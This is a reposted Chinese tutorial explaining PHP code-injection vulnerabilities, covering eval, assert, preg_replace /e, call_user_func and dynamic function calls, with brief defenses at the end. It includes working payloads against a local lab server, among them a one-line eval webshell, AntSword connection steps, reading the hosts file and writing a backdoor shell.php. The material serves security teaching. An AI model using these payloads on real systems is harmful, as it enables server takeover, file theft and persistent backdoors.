我的编程空间,编程开发者的网络收藏夹
学习永远不晚

【PHP代码注入】PHP代码注入漏洞

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

【PHP代码注入】PHP代码注入漏洞

漏洞原理

RCE为两种漏洞的缩写,分别为Remote Command/Code Execute,远程命令/代码执行

PHP代码注入也叫PHP代码执行(Code Execute)(Web方面),是指应用程序过滤不严,用户可以通过HTTP请求将代码注入到应用中执行。代码注入(代码执行)类似于SQL注入漏洞。SQLi是将SQL语句注入到数据库中执行,而代码执行则是可以把代码注入到应用中最终由服务器运行它。这样的漏洞如果没有特殊的过滤,相当于直接有了一个Web后门(可以在服务器上执行任意命令)的存在。

PHP代码注入与SQL注入区别:

双方的注入方式是类似的,都是构造语句绕过服务器的过滤去执行。

区别在于SQL注入是将语句注入到数据库中执行,而PHP代码执行则是通过将代码注入到应用中,最终由服务器运行

造成PHP代码注入前提条件:

  1. 程序中含有可以执行PHP代码的函数或者语言结构

  1. 传入该函数或语言结构的参数是客户端可控,可以直接修改或造成影响,且应用程序过滤不严。

漏洞危害

Web应用如果存在代码执行漏洞时非常危险的,这样的漏洞如果没有特殊的过滤,相当于直接有一个WEB后门的存在。可以通过代码执行漏洞继承Web用户权限,执行任意代码。如果服务器没有正确配置或Web用户权限比较高的话,我们可以读写目标服务器任意文件内容,甚至控制整个网站以及服务器。

PHP中常见的代码执行函数和语句

PHP中有很多函数和语句都会造成PHP代码执行漏洞。本文以PHP为例子来说明,代码执行漏洞。

● eval()                        将字符串当作php 代码执行● assert()                      同样会作为PHP 代码执行● preg_replace()                当php版本小于7时,当为 /e 时代码会执行● call_user_func()              回调函数,可以使用is_callable查看是否可以进行调用● call_user_fuc_array()         回调函数,参数为数组● create_function()             创建匿名函数● array_map()                   为数组的每个元素应用回调函数● array_filter()                依次将 array 数组中的每个值传递到 callback函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含,在返回的结果数组中。数组的键名保留不变。● usort()                       使用自定义函数对数组进行排序

一句话木马就是利用的代码执行漏洞:

eval()

作用: eval()函数会将字符串作为PHP代码执行。

该字符串必须是合法的 PHP 代码。eval函数自带输出功能,不需要再使用echo进行输出。

例子:

  1. 在网站根目录下新建codei文件夹,在该文件夹下新建文件eval.php,并写入如上代码

  1. 打开浏览器访问该文件,网页显示如下

  1. 我们如下修改代码,网页显示如下

总结:通过以上两个例子,我们发现eval函数会将它的参数字符串按照PHP代码去执行

Q:那么eval函数的漏洞体现在哪里呢?

A:我们可以看到$str中的str是一个动态的变量,那如果这个动态的变量$str客户端可控,客户端可控意思就是客户端用户通过一些特殊的方法,这些方法可能是正常的业务,也可能是一些比较不正常的做法,然后造成$str客户端可控。简单来说,客户端可控就是用户的操作会影响到$str的值

  • 那么我们修改一下代码,让$str可控,代码如下,其中的全局变量$_GET也可以是$_REQUEST等其他预定义超全局数组变量(预定义超全局数组作用:包含了GET参数,POST参数还有COOKIE参数,也就是说get方式,post方式还有cookie方式传递过来的参数这些数组都能接收到)。

  • 此时我们再打开浏览器访问,在浏览器中输入参数?code=phpinfo();,(注意要有分号),网页显示如下

综上我们发现,客户端传递过来的phpinfo();这个参数赋值给$str的值,然后$str的值又传到eval()函数当中,最后造成PHP代码注入。

测试代码:

我们接收到的post参数又传给eval()函数去执行,也就是一句话木马

通过浏览器访问上述函数所在网页时,可以通过传递参数该code来执行PHP代码,主要有以上几种:

  1. 普通方式提交变量:?code=phpinfo();

  1. 以语句块方式提交变量:?code={phpinfo();}

  1. 以多语句方式提交参数:?code=1;phpinfo();

危害:如果没有对该函数的参数进行有效准确过滤,其参数将有可能被用户用于注入有害代码

assert

作用: assert()函数也会将字符串作为PHP代码执行。

例子:

?code=phpinfo();";}?>
  1. 在网站根目录下的codei文件夹中新建文件assert.php,文件内容如上,其中的全局变量$_GET还可以是$_REQUEST等其他预定义超全局变量。

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码,主要有以下几种方式:

普通方式提交变量:?code=phpinfo()或者?code=phpinfo();(有无分号都可执行)

tips:与eval()函数有别的是,该函数不能执行传入语句块或多语句作为参数

preg_replace()

作用:preg_replace()函数能对字符串进行正则处理。

参数和返回值如下:

mixed preg_replace(mixed $pattern, mixed $replacement, mixed $subject [, int limit = -1 [, int &$count]])#mixed表示函数的返回值可以为混合类型

这段代码的含义是搜索$subject中匹配$pattern的部分,以$replacement进行替换,而当$pattern处,即第一个参数存在e修饰符时,$replacement的值会被当成PHP代码来执行。典型代码如下:

  1. 在网站根目录下的codei文件夹下新建文件preg_replace.php,测试代码如上。代码中第一个参数"/\[(.*)\]/e"解析如下,第二个参数'\\1'表示的是正则表达式第一次匹配的内容。

① 在两个/间是要匹配的正则表达式;

②用两个\表示对中括号的转义,也就是说要匹配的内容是中括号内的。

③匹配的内容就是(.*)。其中点表示任意字符,*表示任意多个。

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码,主要有以下几种方式:

  • 普通方式提交变量:?code=[phpinfo();],[]是由于preg_replace的第一个参数有分号

  • 以语句块方式提交变量:?code={[phpinfo();]}

  • 以多语句方式提交参数:?code=1;[phpinfo();]

call_user_func()

call_user_func()等函数都有调用其他函数的功能,其中的一个参数作为要调用的函数名,那如果这个传入的函数名可控,那就可以调用意外的函数来执行我们想要的代码,也就是存在任意代码执行漏洞。

以call_user_func($fun,$para)函数为例,该函数的第一个参数作为回调函数,后面的参数为回调函数的参数,将$para这个参数传递给$fun这个函数去执行。

测试代码如下:

#注意,fun不可以取eval,因为eval不是函数,而是语言结构
  1. 在网站根目录的codei文件夹下新建文件call_user_func.php,文件内容如上

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码?fun=assert¶=phpinfo()。需注意的是,传入的第一个参数可以是assert()函数而不是eval。(因为eval在PHP当中是属于语言结构,并不属于函数)

动态函数$a($b)

由于PHP的特性原因,PHP函数支持直接由拼接的方式调用,这直接导致了PHP在安全上的控制又加大了难度。不少知名程序中也用到了动态函数的写法,这种写法和使用call_user_func()的初衷一样,用起来更加方便地调用函数,但是一旦过滤不严格就会造成代码执行漏洞。

测试代码如下:

  1. 在网站根目录下的codei文件夹下新建文件dths.php,文件内容如上

  1. 打开浏览器访问,可以通过传递参数code来执行PHP代码,?a=assert&b=phpinfo()

PHP代码执行漏洞的利用

代码执行漏洞的利用方式有很多种,以下简单列出几种。

直接获取shell

  1. 打开浏览器访问assert.php文件,提交参数[?code=@eval($_REQUEST[cmd]);],即可构成一句话木马,密码为cmd。可以使用中国蚁剑连接。URL为

http://127.0.0.1/codei/assert.php?code=@eval($_REQUEST[cmd])

  1. 启动中国蚁剑,在界面空白处右键点击添加数据

  1. 提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息。

获取当前文件的绝对路径

__FILE__是PHP预定义常量,其含义为当前文件的路径。

打开浏览器访问assert.php文件,提交参数?code=print(__FILE__);,即可获取当前网页的绝对路径,其他漏洞依次类推。

读文件

我们可以利用file_get_contents()函数读取服务器任意文件前提知道目标文件路径和读取权限

读取服务器的hosts文件(为域名指定IP地址),打开浏览器访问assert.php文件,其中传入参数?code=var_dump(file_get_contents('c:\windows\system32\drivers\etc\hosts'));,即可将目标文件内容显示在页面上。

写文件

我们可以利用file_get_contents()函数,写入文件,该函数的作用在于将第二个参数作为内容写入到第一个参数的文件中。前提是知道可写目录。

  1. 打开浏览器访问assert.php文件,其中传入参数为?code=file_put_contents($_REQUEST[1],$_REQUEST[2]);&1=shell.php&2=。参数1值为shell.php,参数2值为,表示在当前目录下创建文件shell.php(文件内容为参数2的值),并写入一个后门。

  1. 继续打开浏览器访问shell.php文件,网址为http://127.0.0.1/codei/shell.php

  1. 打开中国蚁剑访问刚刚写入的后门文件,按以下填写参数,并点击添加。

  1. 提交后可以看到页面多了一条内容,双击可以看到靶机的相关信息,可管理靶机

PHP代码执行漏洞的防御

  • 保证用户不能轻易接触 eval()函数 的参数或者用正则严格判断输入的数据格式

  • 字符串使用单引号包裹,并在插入前进行 addslashes()

  • 对preg_replace()放弃使用e修饰符,保证第二个参数中对于正则匹配出的对象,用单引号包裹

来源地址:https://blog.csdn.net/2301_76334474/article/details/129373265

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

【PHP代码注入】PHP代码注入漏洞

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

PHP常见漏洞代码有哪些

本篇内容介绍了“PHP常见漏洞代码有哪些”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!PHP 文件上传漏洞只验证MIME类型: 代码中验证了
2023-07-05

PHP代码审计:快速发现并修复代码漏洞

PHP代码审计是一种系统的方法,用于检查代码中的漏洞和安全问题。通过代码审计,可以快速发现并修复潜在的代码漏洞,从而提高代码安全性。
PHP代码审计:快速发现并修复代码漏洞
2024-02-09

PHP代码执行漏洞如何解决

要解决PHP代码执行漏洞,可以考虑以下几个方面的措施:1. 输入验证和过滤:对于用户输入的数据,进行验证和过滤,确保输入的数据符合预期的格式和范围。可以使用PHP内置的函数如`filter_var()`和`htmlspecialchars(
2023-09-27

PHP 代码安全:针对 SQL 注入的防范措施

为了防止 php 中的 sql 注入漏洞,可以采取以下措施:使用参数化查询,将用户输入与 sql 语句分开处理。转义用户输入,防止特殊字符被解释为查询的一部分。使用白名单验证,仅允许预定义的输入值。使用输入验证库,自动执行转义和白名单验证等
PHP 代码安全:针对 SQL 注入的防范措施
2024-05-10

PHP 代码安全:防范文件上传漏洞

为了防止php文件上传漏洞,需要:验证文件类型限制文件大小清理文件信息使用白名单仅允许特定类型文件上传PHP 代码安全:防范文件上传漏洞引言文件上传功能是 Web 应用程序中的常见功能,但如果处理不当,它可能会使应用程序面临严重的安全漏
PHP 代码安全:防范文件上传漏洞
2024-05-10

编程热搜

  • Python 学习之路 - Python
    一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
    Python 学习之路 - Python
  • chatgpt的中文全称是什么
    chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
    chatgpt的中文全称是什么
  • C/C++中extern函数使用详解
  • C/C++可变参数的使用
    可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
    C/C++可变参数的使用
  • css样式文件该放在哪里
  • php中数组下标必须是连续的吗
  • Python 3 教程
    Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
    Python 3 教程
  • Python pip包管理
    一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
    Python pip包管理
  • ubuntu如何重新编译内核
  • 改善Java代码之慎用java动态编译

目录